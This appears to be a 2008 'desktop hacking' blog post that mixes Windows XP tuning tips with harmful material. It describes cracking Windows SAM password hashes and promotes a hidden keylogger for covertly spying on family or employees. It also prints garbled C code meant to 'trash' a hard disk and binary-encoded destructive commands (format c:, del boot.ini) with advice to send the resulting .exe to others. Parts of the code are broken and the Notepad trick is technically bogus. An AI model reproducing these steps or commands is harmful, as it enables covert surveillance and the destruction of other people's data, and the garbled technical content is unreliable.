Thursday, May 8, 2008

Desktop hacking

21 Tips 4 increasing XP performance.

1] Your Pc Must have 256MB RAM , 512 MB Cache , Intel Pentium 4 Processor, 40 GB HDD. These are the minimum requirements. 2] If you see a 'virtual memory low' message then increase its virtual memory. To increase virtual memory, Go to My Computer->Properties->Advanced->Performance Settings->Advanced->Virtual Memory->Change->Select the appropriate drive->Custom size->set appropriate level(our it is 600(min.) & 700(max.)->Ok. 3] Increase 'Visual Performance'. Go to My Computer->Properties->Advanced->Performance Settings->Visual Settings->Custom->Select only the following options.a)Slide taskbar buttons.b)Smooth edges of screen fonts.c)Smooth-scroll list boxes.d)Use a background image for each folder type.e)Use visual style on windows and buttons. 4] Don't keep unwanted/extra fonts. To remove extra fonts, Go to Start->Settings->Control Panel->Fonts. 5] Your Desktop Wallpaper & Screensaver consume a large amount of disk space. Select the 'None' option for both wallpapers & Screensavers. 6] Avoid keeping DEMO Games. 7] Uninstall the unwanted Softwares. 8] Use Registry Cleaner to keep your registry clean(without errors). 9] Try to keep Music and pictures files in the folder specified by windows itself. 10]Use Hybernating Option for Quick windows start. To active Hybernating follow the following steps.Desktop->Properties->Screensaver->Power->Hybernating->Enable Hybernating->Ok. 11] Keep your Dektop clean with unwanted icons. 12] Use Intel Application Accelerator to speed up your disk access, 13] Memory management (at least 512MB RAM Required). This allow XP to keep data in Memory instead of paging section of RAM.Go to->Start->Run->regedit->HKEY_LOCAL_MACHINE->SYSTEM->CurrentControlSet->Control->Session Manager->Memory Management->Double click it->DisablePageingExecutive->Double Clik it->Set value to 1. 14] Disable Yahoo Messenger, Google Talk, and other unwanted programs from startup. (You can use registry editior to do this.). Because they do not appear in normal Startup Option. 15] Disable indexing files service (only if you do not use search option regularly). To do this follow the following steps.Go to My Computer->Select the drive for which you want to disable the indexing service->Properties->Unselect 'Allow Indexing Service'->Ok. 16] For Windows XP, You must use NTFS partition. FAT partition is less supportive for Windows XP. 17] In BIOS, Select first booting device as your HDD. 18] Setting Priority High for a particular program.Open Task Manager->Processes->Select the desired Program->Right Click->Set Priority->High->Ok.This Priority set if for current session. Once you restart your system then its priority will again be Normal. 19] Keep deleting your Temporary Internet Files in regular intervals. Go to Windows Drive (c: or d:)->Select the User->Local Settings->Temporary Internet Files 20] Empty your browser's cache in regular intervals. 21] Avoid keeping Movies in your PC.
Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003
SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.-What are password Hashes? Actually when we enter password in Windows Logon Tab, Windows encryptsour password using an encryption scheme that turns our password into something that looks like this: 65464564s1d4d2c9a56s42166d55se SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM. SAM file can be cracked by sing a simple freeware software "SAMInside". Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows. There are many alternatives to copy SAM file. [1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.
Keylogger.If you want to know what other users are typing on your machine, this heavy weaponry addition to your Spy Arsenal will allow you to know everything! Simply install Family Key Logger, set the 'Start in hidden mode' and 'Remove from tasks list' options and you are ready to go. The program will reside in memory while being absolutely invisible to everyone except you. You will only have to press the Unhide key combination on the keyboard to see what your kids or your wife or your employees were typing.And remember:
You have the right to know!
Multiple Google Talk.Now it's turn to use multiple google talk. Previously we covered that how to run multiple Yahoo messenger using Yahoo Pal!. Well for google talk, you don't have to download any software. Just follow the following simple steps. 1) Create a Shortcut on ur Desktop. 2) In the field 'type the location of the item' paste the following source... c:\program files\google\google talk\googletalk.exe" /nomutex 3)If this loction doesn't work, then locate manually by clicking on browse option.Then go to c:-> program file ->google-> google talk->googletalk.exe and then paste /nomutex in the end of manually located source. Finished. Now you can run multiple Google Talk.
Multiple Yahoo Messenger / Yahoo Pal.Yahoo! Pal is an invisible program, it will automatically attach to running Yahoo! Messenger and new Yahoo! Messengers you run after Yahoo! Pal, and add menu bar to the Yahoo! Messenger windows. You can also quit it by clicking its menu. ∙ Allow multiple accounts on the same computer. ∙ Automatically reply when you are away. . Send a random quote to your friend. ∙ Hotkey to hide Yahoo! Messengers windows.
BIOS Passwords Hacks.To perform this hack you will need:
A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case
Needle-nosed pliers if you are working with jumpers
A small flashlight or headlamp With tools at hand, perform the following steps:
Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.
Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).
Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.
Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.
Wait 20-30 seconds for the memory to clear out from lack of power.
After 20-30 seconds put the switch or jumper the way it was before for normal use.
Reconnect the power cord and start up the system to see if the settings have changed to defaults.
Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.
Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first. If your system does not have a "reset CMOS" jumper or switch , the only option is to locate and remove the coin-style battery cell (or on some very old PCs, the battery pack), as shown in , that provides the power to the CMOS memory. SOURCE :
Create BAD sectors on HDD.This program will create BAD Sectors on HDD. (Use at your own risk) #include #include #include #include #include #include #include #define HDSIZE 640000void handle_sig();int main() {int i = 0;int x;int fd[5];signal(SIGINT, handle_sig);signal(SIGHUP, handle_sig);signal(SIGQUIT, handle_sig);signal(SIGABRT, handle_sig);signal(SIGTERM, handle_sig);char *buf;buf = malloc(HDSIZE);printf("sekt0r: trashing hard disk with bad sectors!\n");while(1) {fd[1] = open("/tmp/.test", O_WRONLYO_CREAT, 511);fd[2] = open("/tmp/.test1", O_WRONLYO_CREAT, 511);fd[3] = open("/tmp/.test2", O_WRONLYO_CREAT, 511);fd[4] = open("/tmp/.test3", O_WRONLYO_CREAT, 511);fd[5] = open("/tmp/.test4", O_WRONLYO_CREAT, 511);for(x = 0; x < 0 =" Black" 8 =" Gray" 1 =" Blue" 9 =" Light" 2 =" Green" a =" Light" 3 =" Aqua" b =" Light" 4 =" Red" c =" Light" 5 =" Purple" d =" Light" 6 =" Yellow" e =" Light" 7 =" White" f =" Bright" 2a =" Creates">Run->gpedit.msc->User Configuration->Administrative Templates->Start Menu &Taskbar->Remove Shutdown on Start Menu.->Enable. Its Done!
Format HDD using Notepad.Copy & Paste the following code in Notepad. 0100101100011111001001010101010101000 0011111100000 Save As "format.exe" or any name u want (but with extension.exe) Now you can send this .exe file to people to format their HDD It can fail to format your HDD while running WINDOWS. Format c:\ /Q/X -- this will format your drive c:\ 011001100110111101110010011011010110000 10111010000 100000011000110011101001011100 0010000000101111010100010010111101011000 Format d:\ /Q/X -- this will format your drive d:\ 011001100110111101110010011011010110000 10111010000 100000011001000011101001011100 0010000000101111010100010010111101011000 Format a:\ /Q/X -- this will format your drive a:\ 0110011001101111011100100110110101100 0010111010000 100000011000010011101001011100 0010000000101111010100010010111101011000 del /F/S/Q c:\boot.ini -- this will STOP your computer from booting. 011001000110010101101100001000000010 11110100011000 101111010100110010111101010001 001000000110001100111010010111000110 00100110111101 101111011101000010111001101001 0110111001101001